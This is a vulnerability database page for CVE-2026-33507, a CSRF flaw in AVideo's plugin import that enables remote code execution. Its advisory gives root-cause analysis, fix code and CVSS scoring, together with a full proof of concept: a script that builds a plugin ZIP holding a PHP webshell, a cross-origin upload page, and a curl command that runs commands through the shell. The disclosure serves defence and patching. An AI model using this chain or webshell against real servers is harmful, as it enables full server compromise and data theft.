Loading...
Skip to main content

CVE-2026-33507

HIGH

AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload

Published March 20, 2026Updated March 25, 2026Source: osv

Summary

## Summary The `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = 'None'` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server. ## Details The root cause has two components working together: **1. SameSite=None on session cookies (`objects/include_config.php:134-137`):** ```php if ($isHTTPS) { ini_set('session.cookie_samesite', 'None'); ini_set('session.cookie_secure', '1'); } ``` This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance. **2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):** ```php if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(json_encode($obj)); } ``` The endpoint only checks `User::isAdmin()` via the session. There is: - No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent) - No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8) - No `Referer` or `Origin` header validation - No requirement for custom headers (e.g., `X-Requested-With`) The upload form at `view/managerPluginUpload.php` also contains no CSRF token — it's a plain `<form enctype="multipart/form-data">` with a file input. **Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: 'no-cors'` and `credentials: 'include'` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible `plugin/` directory — is the objective. **Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it's a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection. ## PoC **Step 1: Create the malicious plugin ZIP** ```bash mkdir -p EvilPlugin # Main file — passes PluginAbstract validation cat > EvilPlugin/EvilPlugin.php << 'PLUG' <?php class EvilPlugin extends PluginAbstract { public function getTags() { return array(); } public function getDescription() { return "test"; } public function getName() { return "EvilPlugin"; } public function getUUID() { return "evil-0000-0000-0000"; } public function getPluginVersion() { return "1.0"; } public function getEmptyDataObject() { return new stdClass(); } } PLUG # Secondary file — webshell, NOT checked for PluginAbstract cat > EvilPlugin/cmd.php << 'SHELL' <?php if(isset($_GET['c'])) system($_GET['c']); ?> SHELL zip -r evil-plugin.zip EvilPlugin/ ``` **Step 2: Host the CSRF exploit page** ```html <!DOCTYPE html> <html> <body> <h1>Loading...</h1> <script> // Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php // In practice, the attacker would embed the base64-encoded ZIP bytes here async function exploit() { const zipResp = await fetch('evil-plugin.zip'); const zipBlob = await zipResp.blob(); const formData = new FormData(); formData.append('input-b1', zipBlob, 'evil-plugin.zip'); fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', { method: 'POST', body: formData, mode: 'no-cors', credentials: 'include' }); } exploit(); </script> </body> </html> ``` **Step 3: Admin visits attacker's page while logged into AVideo over HTTPS** The browser sends the multipart/form-data POST with the admin's `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`. **Step 4: Attacker accesses the webshell** ```bash curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id' # uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## Impact - **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session. - **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - **No attacker account needed:** The attacker requires zero privileges on the target system — only that an admin visits a page they control. - **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect. ## Recommended Fix **1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix): ```php // After the isAdmin() check at line 18, add: if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(json_encode($obj)); } // Add CSRF protection allowOrigin(); // Also validate a CSRF token if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) { $obj->msg = "Invalid CSRF token"; die(json_encode($obj)); } ``` **2. Update the upload form in `view/managerPluginUpload.php`** to include the token: ```html <form enctype="multipart/form-data"> <input type="hidden" name="globalToken" value="<?php echo getToken(); ?>"> <input id="input-b1" name="input-b1" type="file" class=""> </form> ``` And pass it in the JavaScript upload config: ```javascript $('#input-b1').fileinput({ uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php', uploadExtraData: { globalToken: $('input[name=globalToken]').val() }, // ... }); ``` **3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.

Affected Packages (1)

PackageEcosystemAffectedFixed In
wwbn/avideo
packagist
10.4, 10.8, 11, 11.1 (+13 more)Range-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-352
    Cross-Site Request Forgery (CSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-33507?
AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-33507?
CVE-2026-33507 affects wwbn/avideo. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-33507 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-hv36-p4w4-6vmj

Related CVEs

  • CVE-2026-33502
    CRITICAL

    AVideo has Unauthenticated SSRF via plugin/Live/test.php

  • CVE-2026-33351
    CRITICAL

    AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass

  • CVE-2026-49279
    HIGH

    WWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass)

  • CVE-2026-33648
    HIGH

    AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path

  • CVE-2026-33647
    HIGH

    AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload

  • CVE-2026-33479
    HIGH

    AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin

  • CVE-2026-41304
    HIGH

    WWBN AVideo: RCE cause by clonesite plugin

  • CVE-2026-45578
    HIGH

    AVideo: OS command injection in on_publish.php execAsync via unescaped m3u8 URL

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies